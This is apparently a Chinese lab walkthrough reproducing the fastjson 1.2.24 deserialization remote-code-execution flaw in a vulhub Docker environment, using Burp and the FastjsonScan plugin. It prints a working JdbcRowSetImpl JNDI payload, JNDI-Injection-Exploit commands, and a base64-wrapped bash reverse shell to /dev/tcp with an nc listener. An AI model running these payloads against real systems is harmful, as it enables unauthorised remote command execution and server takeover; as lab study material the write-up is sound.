fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson 1.2.24 反序列化导致任意命令执行漏洞

文章目录

    • [fastjson 1.2.24 反序列化导致任意命令执行漏洞](#fastjson 1.2.24 反序列化导致任意命令执行漏洞)
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 环境搭建](#2 环境搭建)
        • [2.1 启动:](#2.1 启动:)
        • [2.2 已启动:访问端口8090](#2.2 已启动:访问端口8090)
      • [3 影响版本:](#3 影响版本:)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问页面](#4.1 访问页面)
        • [4.2 bp抓包,修改参数](#4.2 bp抓包,修改参数)
      • [5 使用插件检测漏洞【FastjsonScan】](#5 使用插件检测漏洞【FastjsonScan】)
        • 5.1使用説明
        • [5.2 使用方法](#5.2 使用方法)
          • [5.2.1 右键菜单中:](#5.2.1 右键菜单中:)
          • [5.2.2 FastjsonScan扫描结果界面:](#5.2.2 FastjsonScan扫描结果界面:)
          • [5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功](#5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功)
          • [5.2.4 使用rmi协议不通](#5.2.4 使用rmi协议不通)
          • [5.2.5 尝试使用ldap协议,dnslog协议通了](#5.2.5 尝试使用ldap协议,dnslog协议通了)
          • [5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用](#5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用)
      • [6 构建一个imr服务器](#6 构建一个imr服务器)
        • [6.1 java通信协议](#6.1 java通信协议)
        • [6.2 下载工具JNDI协议服务](#6.2 下载工具JNDI协议服务)
        • [6.3 执行漏洞核心指令](#6.3 执行漏洞核心指令)
      • [7 kali进行下载安裝JNDI服务](#7 kali进行下载安裝JNDI服务)
          • [7.1 使用编译好的tar包,准备启动JNDI通信服务](#7.1 使用编译好的tar包,准备启动JNDI通信服务)
          • [7.2 执行](#7.2 执行)
          • [7.3 将下面请求依次放到bp--》漏洞请求参数中](#7.3 将下面请求依次放到bp--》漏洞请求参数中)
          • [7.4 查看docker容器](#7.4 查看docker容器)
          • [7.5 docker容器中成功创建文件test,命令执行成功](#7.5 docker容器中成功创建文件test,命令执行成功)
      • [8 构建反弹shell](#8 构建反弹shell)
        • [8.1 反弹shell一句话](#8.1 反弹shell一句话)
        • [8.2 使用在线工具转义](#8.2 使用在线工具转义)
        • [8.3 开启监听](#8.3 开启监听)
        • [8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C "command"中](#8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中)
        • [8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发](#8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发)
        • [8.6 经过多次尝试,获取连接到shell](#8.6 经过多次尝试,获取连接到shell)

1 在线漏洞解读:

复制代码
https://vulhub.org/#/environments/fastjson/1.2.24-rce/

2 环境搭建

shell 复制代码
cd  /home/kali/vulhub/fastjson/1.2.24-rce
2.1 启动:
shell 复制代码
sudo docker-compose up -d

sudo docker-compose ps -a
sudo docker ps -a
2.2 已启动:访问端口8090

3 影响版本:

​ fastjson 1.2.24

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:8090/,返回json字符串

4.2 bp抓包,修改参数
4.2.1使用bp进行抓包,转发repeater,将get请求转成post
4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值
复制代码
{
	"name":"test",
	"age": 18
}

5 使用插件检测漏洞【FastjsonScan】

复制代码
https://github.com/Maskhe/FastjsonScan
5.1使用説明
  • 下载项目中的FastjsonScan.jar文件

  • 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

5.2 使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

5.2.1 右键菜单中:
5.2.2 FastjsonScan扫描结果界面:
json 复制代码
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://weedjc37lvb2aq0bw6k08gkax13rrg.oastify.com/aaa","autoCommit":true}}
5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
复制代码
http://dnslog.cn/  # 获取新的地址 5z5srb.dnslog.cn
5.2.4 使用rmi协议不通
5.2.5 尝试使用ldap协议,dnslog协议通了
5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用

6 构建一个imr服务器

6.1 java通信协议
复制代码
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
6.2 下载工具JNDI协议服务
复制代码
https://github.com/welk1n/JNDI-Injection-Exploit
6.3 执行漏洞核心指令
复制代码
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

要确保 1099、1389、8180端口可用,不被其他程序占用

7 kali进行下载安裝JNDI服务

复制代码
┌──(kali💋kali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git    


7.1 使用编译好的tar包,准备启动JNDI通信服务
shell 复制代码
┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd                                                                       
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
7.2 执行
复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"
7.3 将下面请求依次放到bp--》漏洞请求参数中
复制代码
rmi://192.168.225.166:1099/jv0kge
rmi://192.168.225.166:1099/vqmpi8
ldap://192.168.225.166:1389/vqmpi8
rmi://192.168.225.166:1099/kdhm9b
ldap://192.168.225.166:1389/kdhm9b
7.4 查看docker容器
复制代码
sudo docker ps -a
sudo docker exec -it 532  /bin/bash
7.5 docker容器中成功创建文件test,命令执行成功

8 构建反弹shell

8.1 反弹shell一句话
shell 复制代码
nc -lvvp  6666   # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------

输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"


bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
8.2 使用在线工具转义
8.3 开启监听
复制代码
nc  -lvvp  6666
8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C "command"中
复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
8.6 经过多次尝试,获取连接到shell
相关推荐
菩提小狗3 小时前
每日安全情报报告 · 2026-08-30
网络安全·漏洞·cve·安全情报·每日安全
其实防守也摸鱼4 小时前
智能体推荐:精选 AI Agent 工具与实战指南
运维·开发语言·人工智能·学习·web安全·自动化
Best-Wishes15 小时前
好靶场杯第一届-古法 流量包分析
计算机网络·web安全·安全威胁分析
2601_9620725020 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
黄俊懿1 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第八节:网关-注入攻击与预防
sql·网络安全·架构·系统架构·架构师·架构设计
黄俊懿1 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第七节:网关-XSS攻击与预防
网关·网络安全·架构·系统架构·架构师·xss·架构设计
数据知道1 天前
.NET 反序列化漏洞——ViewState 与 BinaryFormatter 实战深度剖析
网络·网络安全·.net
Bruce_Liuxiaowei1 天前
2026年8月第4周网络安全形势周报
人工智能·安全·web安全·智能体
HackTwoHub1 天前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss